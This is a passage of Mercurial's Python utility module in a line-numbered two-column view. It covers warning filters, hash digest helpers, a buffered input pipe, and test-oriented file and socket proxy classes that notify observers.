173 # The option of setting PYTHONWARNINGS in the test runner was investigated.
173 # However, module name set through PYTHONWARNINGS was exactly matched, so
174 # However, module name set through PYTHONWARNINGS was exactly matched, so
174 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
175 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
175 # makes the whole PYTHONWARNINGS thing useless for our usecase.
176 # makes the whole PYTHONWARNINGS thing useless for our usecase.
176 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
179 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
179 if _dowarn and pycompat.ispy3:
180 if _dowarn and pycompat.ispy3:
180 # silence warning emitted by passing user string to re.sub()
181 # silence warning emitted by passing user string to re.sub()
181 warnings.filterwarnings(
182 warnings.filterwarnings(
182 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
183 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
183 )
184 )
184 warnings.filterwarnings(
185 warnings.filterwarnings(
185 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
186 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
186 )
187 )
187 # TODO: reinvent imp.is_frozen()
188 # TODO: reinvent imp.is_frozen()
188 warnings.filterwarnings(
189 warnings.filterwarnings(
189 'ignore',
190 'ignore',
190 'the imp module is deprecated',
191 'the imp module is deprecated',
191 DeprecationWarning,
192 DeprecationWarning,
192 'mercurial',
193 'mercurial',
193 )
194 )
194
195
195
196
196 def nouideprecwarn(msg, version, stacklevel=1):
197 def nouideprecwarn(msg, version, stacklevel=1):
197 """Issue an python native deprecation warning
198 """Issue an python native deprecation warning
198
199
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 """
201 """
201 if _dowarn:
202 if _dowarn:
202 msg += (
203 msg += (
203 b"\n(compatibility will be dropped after Mercurial-%s,"
204 b"\n(compatibility will be dropped after Mercurial-%s,"
204 b" update your code.)"
205 b" update your code.)"
205 ) % version
206 ) % version
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207 # on python 3 with chg, we will need to explicitly flush the output
208 # on python 3 with chg, we will need to explicitly flush the output
208 sys.stderr.flush()
209 sys.stderr.flush()
209
210
210
211
211 DIGESTS = {
212 DIGESTS = {
212 b'md5': hashlib.md5,
213 b'md5': hashlib.md5,
213 b'sha1': hashutil.sha1,
214 b'sha1': hashutil.sha1,
214 b'sha512': hashlib.sha512,
215 b'sha512': hashlib.sha512,
215 }
216 }
216 # List of digest types from strongest to weakest
217 # List of digest types from strongest to weakest
217 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
218 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
218
219
219 for k in DIGESTS_BY_STRENGTH:
220 for k in DIGESTS_BY_STRENGTH:
220 assert k in DIGESTS
221 assert k in DIGESTS
221
222
222
223
223 class digester(object):
224 class digester(object):
224 """helper to compute digests.
225 """helper to compute digests.
225
226
226 This helper can be used to compute one or more digests given their name.
227 This helper can be used to compute one or more digests given their name.
227
228
228 >>> d = digester([b'md5', b'sha1'])
229 >>> d = digester([b'md5', b'sha1'])
229 >>> d.update(b'foo')
230 >>> d.update(b'foo')
230 >>> [k for k in sorted(d)]
231 >>> [k for k in sorted(d)]
231 ['md5', 'sha1']
232 ['md5', 'sha1']
232 >>> d[b'md5']
233 >>> d[b'md5']
233 'acbd18db4cc2f85cedef654fccc4a4d8'
234 'acbd18db4cc2f85cedef654fccc4a4d8'
234 >>> d[b'sha1']
235 >>> d[b'sha1']
235 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
236 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
236 >>> digester.preferred([b'md5', b'sha1'])
237 >>> digester.preferred([b'md5', b'sha1'])
237 'sha1'
238 'sha1'
238 """
239 """
239
240
240 def __init__(self, digests, s=b''):
241 def __init__(self, digests, s=b''):
241 self._hashes = {}
242 self._hashes = {}
242 for k in digests:
243 for k in digests:
243 if k not in DIGESTS:
244 if k not in DIGESTS:
244 raise error.Abort(_(b'unknown digest type: %s') % k)
245 raise error.Abort(_(b'unknown digest type: %s') % k)
245 self._hashes[k] = DIGESTS[k]()
246 self._hashes[k] = DIGESTS[k]()
246 if s:
247 if s:
247 self.update(s)
248 self.update(s)
248
249
249 def update(self, data):
250 def update(self, data):
250 for h in self._hashes.values():
251 for h in self._hashes.values():
251 h.update(data)
252 h.update(data)
252
253
253 def __getitem__(self, key):
254 def __getitem__(self, key):
254 if key not in DIGESTS:
255 if key not in DIGESTS:
255 raise error.Abort(_(b'unknown digest type: %s') % k)
256 raise error.Abort(_(b'unknown digest type: %s') % k)
256 return nodemod.hex(self._hashes[key].digest())
257 return nodemod.hex(self._hashes[key].digest())
257
258
258 def __iter__(self):
259 def __iter__(self):
259 return iter(self._hashes)
260 return iter(self._hashes)
260
261
261 @staticmethod
262 @staticmethod
262 def preferred(supported):
263 def preferred(supported):
263 """returns the strongest digest type in both supported and DIGESTS."""
264 """returns the strongest digest type in both supported and DIGESTS."""
264
265
265 for k in DIGESTS_BY_STRENGTH:
266 for k in DIGESTS_BY_STRENGTH:
266 if k in supported:
267 if k in supported:
267 return k
268 return k
268 return None
269 return None
269
270
270
271
271 class digestchecker(object):
272 class digestchecker(object):
272 """file handle wrapper that additionally checks content against a given
273 """file handle wrapper that additionally checks content against a given
273 size and digests.
274 size and digests.
274
275
275 d = digestchecker(fh, size, {'md5': '...'})
276 d = digestchecker(fh, size, {'md5': '...'})
276
277
277 When multiple digests are given, all of them are validated.
278 When multiple digests are given, all of them are validated.
278 """
279 """
279
280
280 def __init__(self, fh, size, digests):
281 def __init__(self, fh, size, digests):
281 self._fh = fh
282 self._fh = fh
282 self._size = size
283 self._size = size
283 self._got = 0
284 self._got = 0
284 self._digests = dict(digests)
285 self._digests = dict(digests)
285 self._digester = digester(self._digests.keys())
286 self._digester = digester(self._digests.keys())
286
287
287 def read(self, length=-1):
288 def read(self, length=-1):
288 content = self._fh.read(length)
289 content = self._fh.read(length)
289 self._digester.update(content)
290 self._digester.update(content)
290 self._got += len(content)
291 self._got += len(content)
291 return content
292 return content
292
293
293 def validate(self):
294 def validate(self):
294 if self._size != self._got:
295 if self._size != self._got:
295 raise error.Abort(
296 raise error.Abort(
296 _(b'size mismatch: expected %d, got %d')
297 _(b'size mismatch: expected %d, got %d')
297 % (self._size, self._got)
298 % (self._size, self._got)
298 )
299 )
299 for k, v in self._digests.items():
300 for k, v in self._digests.items():
300 if v != self._digester[k]:
301 if v != self._digester[k]:
301 # i18n: first parameter is a digest name
302 # i18n: first parameter is a digest name
302 raise error.Abort(
303 raise error.Abort(
303 _(b'%s mismatch: expected %s, got %s')
304 _(b'%s mismatch: expected %s, got %s')
304 % (k, v, self._digester[k])
305 % (k, v, self._digester[k])
305 )
306 )
306
307
307
308
308 try:
309 try:
309 buffer = buffer
310 buffer = buffer
310 except NameError:
311 except NameError:
311
312
312 def buffer(sliceable, offset=0, length=None):
313 def buffer(sliceable, offset=0, length=None):
313 if length is not None:
314 if length is not None:
314 return memoryview(sliceable)[offset : offset + length]
315 return memoryview(sliceable)[offset : offset + length]
315 return memoryview(sliceable)[offset:]
316 return memoryview(sliceable)[offset:]
316
317
317
318
318 _chunksize = 4096
319 _chunksize = 4096
319
320
320
321
321 class bufferedinputpipe(object):
322 class bufferedinputpipe(object):
322 """a manually buffered input pipe
323 """a manually buffered input pipe
323
324
324 Python will not let us use buffered IO and lazy reading with 'polling' at
325 Python will not let us use buffered IO and lazy reading with 'polling' at
325 the same time. We cannot probe the buffer state and select will not detect
326 the same time. We cannot probe the buffer state and select will not detect
326 that data are ready to read if they are already buffered.
327 that data are ready to read if they are already buffered.
327
328
328 This class let us work around that by implementing its own buffering
329 This class let us work around that by implementing its own buffering
329 (allowing efficient readline) while offering a way to know if the buffer is
330 (allowing efficient readline) while offering a way to know if the buffer is
330 empty from the output (allowing collaboration of the buffer with polling).
331 empty from the output (allowing collaboration of the buffer with polling).
331
332
332 This class lives in the 'util' module because it makes use of the 'os'
333 This class lives in the 'util' module because it makes use of the 'os'
333 module from the python stdlib.
334 module from the python stdlib.
334 """
335 """
335
336
336 def __new__(cls, fh):
337 def __new__(cls, fh):
337 # If we receive a fileobjectproxy, we need to use a variation of this
338 # If we receive a fileobjectproxy, we need to use a variation of this
338 # class that notifies observers about activity.
339 # class that notifies observers about activity.
339 if isinstance(fh, fileobjectproxy):
340 if isinstance(fh, fileobjectproxy):
340 cls = observedbufferedinputpipe
341 cls = observedbufferedinputpipe
341
342
342 return super(bufferedinputpipe, cls).__new__(cls)
343 return super(bufferedinputpipe, cls).__new__(cls)
343
344
344 def __init__(self, input):
345 def __init__(self, input):
345 self._input = input
346 self._input = input
346 self._buffer = []
347 self._buffer = []
347 self._eof = False
348 self._eof = False
348 self._lenbuf = 0
349 self._lenbuf = 0
349
350
350 @property
351 @property
351 def hasbuffer(self):
352 def hasbuffer(self):
352 """True is any data is currently buffered
353 """True is any data is currently buffered
353
354
354 This will be used externally a pre-step for polling IO. If there is
355 This will be used externally a pre-step for polling IO. If there is
355 already data then no polling should be set in place."""
356 already data then no polling should be set in place."""
356 return bool(self._buffer)
357 return bool(self._buffer)
357
358
358 @property
359 @property
359 def closed(self):
360 def closed(self):
360 return self._input.closed
361 return self._input.closed
361
362
362 def fileno(self):
363 def fileno(self):
363 return self._input.fileno()
364 return self._input.fileno()
364
365
365 def close(self):
366 def close(self):
366 return self._input.close()
367 return self._input.close()
367
368
368 def read(self, size):
369 def read(self, size):
369 while (not self._eof) and (self._lenbuf < size):
370 while (not self._eof) and (self._lenbuf < size):
370 self._fillbuffer()
371 self._fillbuffer()
371 return self._frombuffer(size)
372 return self._frombuffer(size)
372
373
373 def unbufferedread(self, size):
374 def unbufferedread(self, size):
374 if not self._eof and self._lenbuf == 0:
375 if not self._eof and self._lenbuf == 0:
375 self._fillbuffer(max(size, _chunksize))
376 self._fillbuffer(max(size, _chunksize))
376 return self._frombuffer(min(self._lenbuf, size))
377 return self._frombuffer(min(self._lenbuf, size))
377
378
378 def readline(self, *args, **kwargs):
379 def readline(self, *args, **kwargs):
379 if len(self._buffer) > 1:
380 if len(self._buffer) > 1:
380 # this should not happen because both read and readline end with a
381 # this should not happen because both read and readline end with a
381 # _frombuffer call that collapse it.
382 # _frombuffer call that collapse it.
382 self._buffer = [b''.join(self._buffer)]
383 self._buffer = [b''.join(self._buffer)]
383 self._lenbuf = len(self._buffer[0])
384 self._lenbuf = len(self._buffer[0])
384 lfi = -1
385 lfi = -1
385 if self._buffer:
386 if self._buffer:
386 lfi = self._buffer[-1].find(b'\n')
387 lfi = self._buffer[-1].find(b'\n')
387 while (not self._eof) and lfi < 0:
388 while (not self._eof) and lfi < 0:
388 self._fillbuffer()
389 self._fillbuffer()
389 if self._buffer:
390 if self._buffer:
390 lfi = self._buffer[-1].find(b'\n')
391 lfi = self._buffer[-1].find(b'\n')
391 size = lfi + 1
392 size = lfi + 1
392 if lfi < 0: # end of file
393 if lfi < 0: # end of file
393 size = self._lenbuf
394 size = self._lenbuf
394 elif len(self._buffer) > 1:
395 elif len(self._buffer) > 1:
395 # we need to take previous chunks into account
396 # we need to take previous chunks into account
396 size += self._lenbuf - len(self._buffer[-1])
397 size += self._lenbuf - len(self._buffer[-1])
397 return self._frombuffer(size)
398 return self._frombuffer(size)
398
399
399 def _frombuffer(self, size):
400 def _frombuffer(self, size):
400 """return at most 'size' data from the buffer
401 """return at most 'size' data from the buffer
401
402
402 The data are removed from the buffer."""
403 The data are removed from the buffer."""
403 if size == 0 or not self._buffer:
404 if size == 0 or not self._buffer:
404 return b''
405 return b''
405 buf = self._buffer[0]
406 buf = self._buffer[0]
406 if len(self._buffer) > 1:
407 if len(self._buffer) > 1:
407 buf = b''.join(self._buffer)
408 buf = b''.join(self._buffer)
408
409
409 data = buf[:size]
410 data = buf[:size]
410 buf = buf[len(data) :]
411 buf = buf[len(data) :]
411 if buf:
412 if buf:
412 self._buffer = [buf]
413 self._buffer = [buf]
413 self._lenbuf = len(buf)
414 self._lenbuf = len(buf)
414 else:
415 else:
415 self._buffer = []
416 self._buffer = []
416 self._lenbuf = 0
417 self._lenbuf = 0
417 return data
418 return data
418
419
419 def _fillbuffer(self, size=_chunksize):
420 def _fillbuffer(self, size=_chunksize):
420 """read data to the buffer"""
421 """read data to the buffer"""
421 data = os.read(self._input.fileno(), size)
422 data = os.read(self._input.fileno(), size)
422 if not data:
423 if not data:
423 self._eof = True
424 self._eof = True
424 else:
425 else:
425 self._lenbuf += len(data)
426 self._lenbuf += len(data)
426 self._buffer.append(data)
427 self._buffer.append(data)
427
428
428 return data
429 return data
429
430
430
431
431 def mmapread(fp, size=None):
432 def mmapread(fp, size=None):
432 if size == 0:
433 if size == 0:
433 # size of 0 to mmap.mmap() means "all data"
434 # size of 0 to mmap.mmap() means "all data"
434 # rather than "zero bytes", so special case that.
435 # rather than "zero bytes", so special case that.
435 return b''
436 return b''
436 elif size is None:
437 elif size is None:
437 size = 0
438 size = 0
438 try:
439 try:
439 fd = getattr(fp, 'fileno', lambda: fp)()
440 fd = getattr(fp, 'fileno', lambda: fp)()
440 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
441 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
441 except ValueError:
442 except ValueError:
442 # Empty files cannot be mmapped, but mmapread should still work. Check
443 # Empty files cannot be mmapped, but mmapread should still work. Check
443 # if the file is empty, and if so, return an empty buffer.
444 # if the file is empty, and if so, return an empty buffer.
444 if os.fstat(fd).st_size == 0:
445 if os.fstat(fd).st_size == 0:
445 return b''
446 return b''
446 raise
447 raise
447
448
448
449
449 class fileobjectproxy(object):
450 class fileobjectproxy(object):
450 """A proxy around file objects that tells a watcher when events occur.
451 """A proxy around file objects that tells a watcher when events occur.
451
452
452 This type is intended to only be used for testing purposes. Think hard
453 This type is intended to only be used for testing purposes. Think hard
453 before using it in important code.
454 before using it in important code.
454 """
455 """
455
456
456 __slots__ = (
457 __slots__ = (
457 '_orig',
458 '_orig',
458 '_observer',
459 '_observer',
459 )
460 )
460
461
461 def __init__(self, fh, observer):
462 def __init__(self, fh, observer):
462 object.__setattr__(self, '_orig', fh)
463 object.__setattr__(self, '_orig', fh)
463 object.__setattr__(self, '_observer', observer)
464 object.__setattr__(self, '_observer', observer)
464
465
465 def __getattribute__(self, name):
466 def __getattribute__(self, name):
466 ours = {
467 ours = {
467 '_observer',
468 '_observer',
468 # IOBase
469 # IOBase
469 'close',
470 'close',
470 # closed if a property
471 # closed if a property
471 'fileno',
472 'fileno',
472 'flush',
473 'flush',
473 'isatty',
474 'isatty',
474 'readable',
475 'readable',
475 'readline',
476 'readline',
476 'readlines',
477 'readlines',
477 'seek',
478 'seek',
478 'seekable',
479 'seekable',
479 'tell',
480 'tell',
480 'truncate',
481 'truncate',
481 'writable',
482 'writable',
482 'writelines',
483 'writelines',
483 # RawIOBase
484 # RawIOBase
484 'read',
485 'read',
485 'readall',
486 'readall',
486 'readinto',
487 'readinto',
487 'write',
488 'write',
488 # BufferedIOBase
489 # BufferedIOBase
489 # raw is a property
490 # raw is a property
490 'detach',
491 'detach',
491 # read defined above
492 # read defined above
492 'read1',
493 'read1',
493 # readinto defined above
494 # readinto defined above
494 # write defined above
495 # write defined above
495 }
496 }
496
497
497 # We only observe some methods.
498 # We only observe some methods.
498 if name in ours:
499 if name in ours:
499 return object.__getattribute__(self, name)
500 return object.__getattribute__(self, name)
500
501
501 return getattr(object.__getattribute__(self, '_orig'), name)
502 return getattr(object.__getattribute__(self, '_orig'), name)
502
503
503 def __nonzero__(self):
504 def __nonzero__(self):
504 return bool(object.__getattribute__(self, '_orig'))
505 return bool(object.__getattribute__(self, '_orig'))
505
506
506 __bool__ = __nonzero__
507 __bool__ = __nonzero__
507
508
508 def __delattr__(self, name):
509 def __delattr__(self, name):
509 return delattr(object.__getattribute__(self, '_orig'), name)
510 return delattr(object.__getattribute__(self, '_orig'), name)
510
511
511 def __setattr__(self, name, value):
512 def __setattr__(self, name, value):
512 return setattr(object.__getattribute__(self, '_orig'), name, value)
513 return setattr(object.__getattribute__(self, '_orig'), name, value)
513
514
514 def __iter__(self):
515 def __iter__(self):
515 return object.__getattribute__(self, '_orig').__iter__()
516 return object.__getattribute__(self, '_orig').__iter__()
516
517
517 def _observedcall(self, name, *args, **kwargs):
518 def _observedcall(self, name, *args, **kwargs):
518 # Call the original object.
519 # Call the original object.
519 orig = object.__getattribute__(self, '_orig')
520 orig = object.__getattribute__(self, '_orig')
520 res = getattr(orig, name)(*args, **kwargs)
521 res = getattr(orig, name)(*args, **kwargs)
521
522
522 # Call a method on the observer of the same name with arguments
523 # Call a method on the observer of the same name with arguments
523 # so it can react, log, etc.
524 # so it can react, log, etc.
524 observer = object.__getattribute__(self, '_observer')
525 observer = object.__getattribute__(self, '_observer')
525 fn = getattr(observer, name, None)
526 fn = getattr(observer, name, None)
526 if fn:
527 if fn:
527 fn(res, *args, **kwargs)
528 fn(res, *args, **kwargs)
528
529
529 return res
530 return res
530
531
531 def close(self, *args, **kwargs):
532 def close(self, *args, **kwargs):
532 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
533 'close', *args, **kwargs
534 'close', *args, **kwargs
534 )
535 )
535
536
536 def fileno(self, *args, **kwargs):
537 def fileno(self, *args, **kwargs):
537 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
538 'fileno', *args, **kwargs
539 'fileno', *args, **kwargs
539 )
540 )
540
541
541 def flush(self, *args, **kwargs):
542 def flush(self, *args, **kwargs):
542 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
543 'flush', *args, **kwargs
544 'flush', *args, **kwargs
544 )
545 )
545
546
546 def isatty(self, *args, **kwargs):
547 def isatty(self, *args, **kwargs):
547 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
548 'isatty', *args, **kwargs
549 'isatty', *args, **kwargs
549 )
550 )
550
551
551 def readable(self, *args, **kwargs):
552 def readable(self, *args, **kwargs):
552 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
553 'readable', *args, **kwargs
554 'readable', *args, **kwargs
554 )
555 )
555
556
556 def readline(self, *args, **kwargs):
557 def readline(self, *args, **kwargs):
557 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
558 'readline', *args, **kwargs
559 'readline', *args, **kwargs
559 )
560 )
560
561
561 def readlines(self, *args, **kwargs):
562 def readlines(self, *args, **kwargs):
562 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
563 'readlines', *args, **kwargs
564 'readlines', *args, **kwargs
564 )
565 )
565
566
566 def seek(self, *args, **kwargs):
567 def seek(self, *args, **kwargs):
567 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
568 'seek', *args, **kwargs
569 'seek', *args, **kwargs
569 )
570 )
570
571
571 def seekable(self, *args, **kwargs):
572 def seekable(self, *args, **kwargs):
572 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
573 'seekable', *args, **kwargs
574 'seekable', *args, **kwargs
574 )
575 )
575
576
576 def tell(self, *args, **kwargs):
577 def tell(self, *args, **kwargs):
577 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
578 'tell', *args, **kwargs
579 'tell', *args, **kwargs
579 )
580 )
580
581
581 def truncate(self, *args, **kwargs):
582 def truncate(self, *args, **kwargs):
582 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
583 'truncate', *args, **kwargs
584 'truncate', *args, **kwargs
584 )
585 )
585
586
586 def writable(self, *args, **kwargs):
587 def writable(self, *args, **kwargs):
587 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
588 'writable', *args, **kwargs
589 'writable', *args, **kwargs
589 )
590 )
590
591
591 def writelines(self, *args, **kwargs):
592 def writelines(self, *args, **kwargs):
592 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
593 'writelines', *args, **kwargs
594 'writelines', *args, **kwargs
594 )
595 )
595
596
596 def read(self, *args, **kwargs):
597 def read(self, *args, **kwargs):
597 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
598 'read', *args, **kwargs
599 'read', *args, **kwargs
599 )
600 )
600
601
601 def readall(self, *args, **kwargs):
602 def readall(self, *args, **kwargs):
602 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
603 'readall', *args, **kwargs
604 'readall', *args, **kwargs
604 )
605 )
605
606
606 def readinto(self, *args, **kwargs):
607 def readinto(self, *args, **kwargs):
607 return object.__getattribute__(self, '_observedcall')(
608 return object.__getattribute__(self, '_observedcall')(
608 'readinto', *args, **kwargs
609 'readinto', *args, **kwargs
609 )
610 )
610
611
611 def write(self, *args, **kwargs):
612 def write(self, *args, **kwargs):
612 return object.__getattribute__(self, '_observedcall')(
613 return object.__getattribute__(self, '_observedcall')(
613 'write', *args, **kwargs
614 'write', *args, **kwargs
614 )
615 )
615
616
616 def detach(self, *args, **kwargs):
617 def detach(self, *args, **kwargs):
617 return object.__getattribute__(self, '_observedcall')(
618 return object.__getattribute__(self, '_observedcall')(
618 'detach', *args, **kwargs
619 'detach', *args, **kwargs
619 )
620 )
620
621
621 def read1(self, *args, **kwargs):
622 def read1(self, *args, **kwargs):
622 return object.__getattribute__(self, '_observedcall')(
623 return object.__getattribute__(self, '_observedcall')(
623 'read1', *args, **kwargs
624 'read1', *args, **kwargs
624 )
625 )
625
626
626
627
627 class observedbufferedinputpipe(bufferedinputpipe):
628 class observedbufferedinputpipe(bufferedinputpipe):
628 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
629 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
629
630
630 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
631 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
631 bypass ``fileobjectproxy``. Because of this, we need to make
632 bypass ``fileobjectproxy``. Because of this, we need to make
632 ``bufferedinputpipe`` aware of these operations.
633 ``bufferedinputpipe`` aware of these operations.
633
634
634 This variation of ``bufferedinputpipe`` can notify observers about
635 This variation of ``bufferedinputpipe`` can notify observers about
635 ``os.read()`` events. It also re-publishes other events, such as
636 ``os.read()`` events. It also re-publishes other events, such as
636 ``read()`` and ``readline()``.
637 ``read()`` and ``readline()``.
637 """
638 """
638
639
639 def _fillbuffer(self):
640 def _fillbuffer(self):
640 res = super(observedbufferedinputpipe, self)._fillbuffer()
641 res = super(observedbufferedinputpipe, self)._fillbuffer()
641
642
642 fn = getattr(self._input._observer, 'osread', None)
643 fn = getattr(self._input._observer, 'osread', None)
643 if fn:
644 if fn:
644 fn(res, _chunksize)
645 fn(res, _chunksize)
645
646
646 return res
647 return res
647
648
648 # We use different observer methods because the operation isn't
649 # We use different observer methods because the operation isn't
649 # performed on the actual file object but on us.
650 # performed on the actual file object but on us.
650 def read(self, size):
651 def read(self, size):
651 res = super(observedbufferedinputpipe, self).read(size)
652 res = super(observedbufferedinputpipe, self).read(size)
652
653
653 fn = getattr(self._input._observer, 'bufferedread', None)
654 fn = getattr(self._input._observer, 'bufferedread', None)
654 if fn:
655 if fn:
655 fn(res, size)
656 fn(res, size)
656
657
657 return res
658 return res
658
659
659 def readline(self, *args, **kwargs):
660 def readline(self, *args, **kwargs):
660 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
661 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
661
662
662 fn = getattr(self._input._observer, 'bufferedreadline', None)
663 fn = getattr(self._input._observer, 'bufferedreadline', None)
663 if fn:
664 if fn:
664 fn(res)
665 fn(res)
665
666
666 return res
667 return res
667
668
668
669
669 PROXIED_SOCKET_METHODS = {
670 PROXIED_SOCKET_METHODS = {
670 'makefile',
671 'makefile',
671 'recv',
672 'recv',
672 'recvfrom',
673 'recvfrom',
673 'recvfrom_into',
674 'recvfrom_into',
674 'recv_into',
675 'recv_into',
675 'send',
676 'send',
676 'sendall',
677 'sendall',
677 'sendto',
678 'sendto',
678 'setblocking',
679 'setblocking',
679 'settimeout',
680 'settimeout',
680 'gettimeout',
681 'gettimeout',
681 'setsockopt',
682 'setsockopt',
682 }
683 }
683
684
684
685
685 class socketproxy(object):
686 class socketproxy(object):
686 """A proxy around a socket that tells a watcher when events occur.
687 """A proxy around a socket that tells a watcher when events occur.
687
688
688 This is like ``fileobjectproxy`` except for sockets.
689 This is like ``fileobjectproxy`` except for sockets.
689
690
690 This type is intended to only be used for testing purposes. Think hard
691 This type is intended to only be used for testing purposes. Think hard
691 before using it in important code.
692 before using it in important code.
692 """
693 """
693
694
694 __slots__ = (
695 __slots__ = (
695 '_orig',
696 '_orig',
696 '_observer',
697 '_observer',
697 )
698 )
698
699
699 def __init__(self, sock, observer):
700 def __init__(self, sock, observer):
700 object.__setattr__(self, '_orig', sock)
701 object.__setattr__(self, '_orig', sock)
701 object.__setattr__(self, '_observer', observer)
702 object.__setattr__(self, '_observer', observer)
702
703
703 def __getattribute__(self, name):
704 def __getattribute__(self, name):
704 if name in PROXIED_SOCKET_METHODS:
705 if name in PROXIED_SOCKET_METHODS:
705 return object.__getattribute__(self, name)
706 return object.__getattribute__(self, name)
706
707
707 return getattr(object.__getattribute__(self, '_orig'), name)
708 return getattr(object.__getattribute__(self, '_orig'), name)
708
709
709 def __delattr__(self, name):
710 def __delattr__(self, name):
710 return delattr(object.__getattribute__(self, '_orig'), name)
711 return delattr(object.__getattribute__(self, '_orig'), name)
711
712
712 def __setattr__(self, name, value):
713 def __setattr__(self, name, value):
713 return setattr(object.__getattribute__(self, '_orig'), name, value)
714 return setattr(object.__getattribute__(self, '_orig'), name, value)
714
715
715 def __nonzero__(self):
716 def __nonzero__(self):
716 return bool(object.__getattribute__(self, '_orig'))
717 return bool(object.__getattribute__(self, '_orig'))
717
718
718 __bool__ = __nonzero__
719 __bool__ = __nonzero__
719
720
720 def _observedcall(self, name, *args, **kwargs):
721 def _observedcall(self, name, *args, **kwargs):
721 # Call the original object.
722 # Call the original object.
722 orig = object.__getattribute__(self, '_orig')
723 orig = object.__getattribute__(self, '_orig')
723 res = getattr(orig, name)(*args, **kwargs)
724 res = getattr(orig, name)(*args, **kwargs)
724
725
725 # Call a method on the observer of the same name with arguments
726 # Call a method on the observer of the same name with arguments
726 # so it can react, log, etc.
727 # so it can react, log, etc.
727 observer = object.__getattribute__(self, '_observer')
728 observer = object.__getattribute__(self, '_observer')
728 fn = getattr(observer, name, None)
729 fn = getattr(observer, name, None)
729 if fn:
730 if fn:
730 fn(res, *args, **kwargs)
731 fn(res, *args, **kwargs)
731
732
732 return res
733 return res
733
734
734 def makefile(self, *args, **kwargs):
735 def makefile(self, *args, **kwargs):
735 res = object.__getattribute__(self, '_observedcall')(
736 res = object.__getattribute__(self, '_observedcall')(
736 'makefile', *args, **kwargs
737 'makefile', *args, **kwargs
737 )
738 )
738
739
739 # The file object may be used for I/O. So we turn it into a
740 # The file object may be used for I/O. So we turn it into a
740 # proxy using our observer.
741 # proxy using our observer.
741 observer = object.__getattribute__(self, '_observer')
742 observer = object.__getattribute__(self, '_observer')
742 return makeloggingfileobject(
743 return makeloggingfileobject(
743 observer.fh,
744 observer.fh,
744 res,
745 res,
745 observer.name,
746 observer.name,
746 reads=observer.reads,
747 reads=observer.reads,
747 writes=observer.writes,
748 writes=observer.writes,
748 logdata=observer.logdata,
749 logdata=observer.logdata,
749 logdataapis=observer.logdataapis,
750 logdataapis=observer.logdataapis,
750 )
751 )
751
752
752 def recv(self, *args, **kwargs):
753 def recv(self, *args, **kwargs):
753 return object.__getattribute__(self, '_observedcall')(
754 return object.__getattribute__(self, '_observedcall')(
754 'recv', *args, **kwargs
755 'recv', *args, **kwargs
755 )
756 )
756
757
757 def recvfrom(self, *args, **kwargs):
758 def recvfrom(self, *args, **kwargs):
758 return object.__getattribute__(self, '_observedcall')(
759 return object.__getattribute__(self, '_observedcall')(
759 'recvfrom', *args, **kwargs
760 'recvfrom', *args, **kwargs
760 )
761 )
761
762
762 def recvfrom_into(self, *args, **kwargs):
763 def recvfrom_into(self, *args, **kwargs):
763 return object.__getattribute__(self, '_observedcall')(
764 return object.__getattribute__(self, '_observedcall')(
764 'recvfrom_into', *args, **kwargs
765 'recvfrom_into', *args, **kwargs
765 )
766 )
766
767
767 def recv_into(self, *args, **kwargs):
768 def recv_into(self, *args, **kwargs):
768 return object.__getattribute__(self, '_observedcall')(
769 return object.__getattribute__(self, '_observedcall')(
769 'recv_info', *args, **kwargs
770 'recv_info', *args, **kwargs
770 )
771 )
771
772
772 def send(self, *args, **kwargs):
773 def send(self, *args, **kwargs):
773 return object.__getattribute__(self, '_observedcall')(
774 return object.__getattribute__(self, '_observedcall')(
774 'send', *args, **kwargs
775 'send', *args, **kwargs
775 )
776 )
776
777
777 def sendall(self, *args, **kwargs):
778 def sendall(self, *args, **kwargs):
778 return object.__getattribute__(self, '_observedcall')(
